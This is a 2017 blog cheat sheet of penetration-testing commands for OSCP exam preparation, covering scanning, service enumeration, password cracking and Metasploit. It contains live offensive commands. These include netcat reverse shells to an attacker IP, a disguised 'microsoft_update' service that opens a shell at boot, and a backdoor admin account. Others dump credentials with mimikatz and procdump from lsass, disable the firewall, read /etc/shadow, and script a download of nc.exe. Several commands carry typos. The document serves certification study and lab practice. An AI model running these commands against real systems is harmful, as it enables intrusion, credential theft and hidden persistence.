OSCP Cheat Sheet

4 minute read

Here are some commands that I found helpful during the OSCP. I encourage you to take a look at the resource links that I've posted here to go in further detail in many of these topics.

Pre

Scanning

Quick Pass

```
nmap <IP> --top-ports 10 --open
```

Intense scan

```
nmap -p 1-65535 -T4 -A -v <IP>
```

Web

```
nitko -h <IP>
```

```
dirb http://<IP> /usr/share/wordlists/dirb/<insert related list>
```

```
finmap -u <IP>
```

```
./dotdotpwn.pl -m <MODULE> -h <HOST> [OPTIONS]
```

```
wpscan –url http://<IP>/ –enumerate p
```

File Include Resource 1 (https://evilzone.org/tutorials/remote-file-inclusion%28rfi%29/)

File Include Resource 2 (http://www.hackersonlineclub.com/lfi-rfi)

File Include Resource 3 (https://0xzoidberg.wordpress.com/category/security/lfi-rfi/)

SMB/RPC

```
enum4linux -a <IP>
```

```
nmap --script=smb* -p <PORTS> <IP>
```

```
rpcclient <IP> -U "" -N
```

```
showmount -e <IP>/<PORT>
```

```
mount -t cifs //<IP>/<SHARE> <LOCAL DIRECTORY> -o username="guest",password=""
```

```
net view \\<IP>
```

```
nbtscan -r <IP>
```

```
smbclient -L \\<IP> -U "" -N
```

```
rlogin <IP>
```

```
nmblookup -A target
```

SQL

SQL Injection Cheat Sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)

Backdoor SQL Injection (http://resources.infosecinstitute.com/backdoor-sql-injection/)

```
nmap -sV -Pn -vv –script=mysql* <IP> -p <PORT>
```

```
sqlmap -u <IP> –crawl=1
```

```
sqlmap -u http://<IP>/page.php?commen=761 –DBMS=mysql –os-shell
```

SMTP

```
nmap –script=smtp* -p <PORT> <IP>
```

SNMP

```
snmpwalk -c public -v1 <IP>
```

```
snmpenum -t <IP>
```

```
Onesixtyone – c <COMMUNITY FILE> -I <IP>
```

FTP

```
nmap –script=ftp* -p <PORT> <IP>
```

```
ftp://<IP>
```

DNS

```
./dnsrecon.py -d <DOMAIN>
./dnsrecon.py -d <DOMAIN> -t axfr
./dnsrecon.py -d <DOMAIN> -D <NAME LIST> -t brt
./dnsrecon.py -d <HOST> -t zonewalk
nmap –script=dns-zone-transfer -p 53 ns2.megacorpone.com
nmap <IP> -p- -sV --reason --dns-server 1.2.3.4
```

Pass-the-Hash

```
pth-winexe -U <HASH> //<IP> cmd
```

During

Password Cracking

Discover type of hash that you have

```
hash-identifier
```

John the Ripper

/etc/shadow cracking

- Create a file with passwd
- Create a file with shadow
- Combine into one document

```
-unshadow <passwd file location> <shadow file location> > <new combined file>
```

```
john --wordlist=<any word list> <combined file location>
```

Hydra

```
Hydra -L <USER FILE> -P <PASS FILE> -v <IP> ssh
```

Medusa

```
Medusa -h <IP> -U <USER FILE> -P <PASS FILE> -M http -m DIR:/admin -T 30
```

Hashcat

```
hashcat -m 400 -a 0 <HASH FILE> <WORD LIST>
```

TTY Shells

See TTY Shells (http://thor-sec.com/cheatsheet/tty_spawnage/) section

Metaplsoit Payloads

See msfvenom cheat sheet (http://thor-sec.com/cheatsheet/msfvenom_cheat_sheet/) section

Metasploit commands

`sysinfo`

`getuid`

`search -f *pass*.txt`

`shell`

`getprivs`

`session -i 1` —puts you back into your session

Turn a regular shell into a meterpreter shell

- **Attacker**
  - `use exploit/multi/handler`
  - `set payload windows/shell/reverse_tcp`
  - `set lhost <IP>`
  - `set lport <PORT>`
  - `run`
- **Target**
  - `nc -vn <IP> <PORT> -e cmd.exe`
- **Attacker**
  - Ctrl+Z (to background session)
  - `sessions -l` (this will list your sessions to verify which one it is)
  - `setg rhost <IP>`
  - `setg lhost <IP>`
  - `sessions -u 1` (the 1 is the session number)

Netcat

See Netcat cheat sheet (http://thor-sec.com/cheatsheet/netcat_cheatsheet/) section

Useful Windows Commands

```
net view
net user
net localgroup Users
net localgroup Administrators
net user hacker password1 /add
net localgroup administrators hacker /add
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d <IP> <PORT> -e cmd.exe" start= auto error=
ignore
C:\nc.exe -e c:\windows\system32\cmd.exe -vv <IP> <PORT>
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
```

(32-bit) `C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp`

(64-bit) `C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp`

```
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d
0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```

```
netsh firewall set opmode disable
```

```
%SYSTEMDRIVE%\boot.ini
```

```
%WINDRIVE%\win.ini
```

```
type %WINDRIVE%\System32\drivers\etc\hosts
```

Useful Nix Commands

SUID root files `find / -user root -perm -4000 -print`
SGID root files: `find / -group root -perm -2000 -print`
SUID & SGID files ownership `find / -perm -4000 -o -perm -2000 -print`
Files not owned by anyone `find / -nouser -print`
Files not owned by any group `find / -nogroup -print`
Symlinks and their pointers `find / -type l -ls`

Download an EXE from FTP server

```
echo open IP> C:\script.txt
```

```
echo user myftpuser>> C:\script.txt
```

```
echo pass myftppass>> C:\script.txt
```

```
echo get nc.exe>> C:\script.txt
```

```
echo bye>> C:\script.txt
```

```
ftp -s:script.txt
```

Shells

See resources (http://thor-sec.com/review/oscp_review/#resource) section

Reverse Shell Cheat Sheet (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

Post

Windows looting (brief)

```
systeminfo
type boot.ini
hostname
ipconfig /all
netstat -ano
net users
net localgroup
route print
arp -A
netsh firewall show state
netsh firewall show config
```

```
schtasks /query /fo LIST /v
```


```
schtasks /query /fo LIST /v
```


```
net start
```

```
accesschk.exe -uwcqv "Authenticated Users" *
```

```
dir network-secret.txt /s
```

```
windump -i 2 -w capture -n -U -s 0 src not <IP> and dst not <IP>
```

Nix looting (brief)

```
locate proof.txt/network-secret.txt
```

```
find -name "proof.txt"/"network-secret.txt"
```

```
uname -a
```

```
cat /proc/version
```

```
cat /etc/passwd
```

```
cat /etc/shadow
```

```
cat /etc/group
```

```
ls -alR | grep ^d
```

```
ifconfig -a
```

```
netstat -ano
```

```
cat /etc/hosts
```

```
arp -a
```

```
tcpdump -i eth0 -w capture -n -U -s 0 src not <IP> and dst not <IP>
```

```
tcpdump -vv -i eth0 src not <IP> and dst not <IP>
```

Packet Sniffing

```
tcpdump -i tap0 host <IP> tcp port 80 and not arp and not icmp -vv
```

```
tcpdump -i eth0 -w capture -n -U -s 0 src not <ATTACKING IP> and dst not <ATTACKING IP>
```

```
tcpdump -vv -i eth0 src not <ATTACKING IP> and dst not <ATTACKING IP>
```

Other

Quick Kali Configuration

SSH

- Start

  ```
  service ssh start
  ```

- Stop

  ```
  service ssh stop
  ```

HTTP Service

- Start
  `service apache2 start`
- Verify its running
  `http://127.0.0.1`
- Directory
  /var/www/
- Stop
  `service apache2 stop`

Update boot sequence

`update-rc.d ssh enable`

`update-rc.d apache2 enable`

`rcconf (GUI)`

Compiling Exploits

32-bit

`gcc -m32 -o output32 hello.c`

64-bit

`gcc -o output hello.c`

Windows Compiling

```
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o exploit.exe /tmp/exploit.c -lwsock32
wine exploit.exe
```

Tags: OSCP (http://thor-sec.com/tags/#oscp)

Categories: Cheatsheet (http://thor-sec.com/categories/#cheatsheet) OSCP (http://thor-sec.com/categories/#oscp)

Updated: July 18, 2017

LEAVE A COMMENT

Your email address will not be published. Required fields are marked *

Comment *

Markdown is supported. (https://daringfireball.net/projects/markdown/)

Name *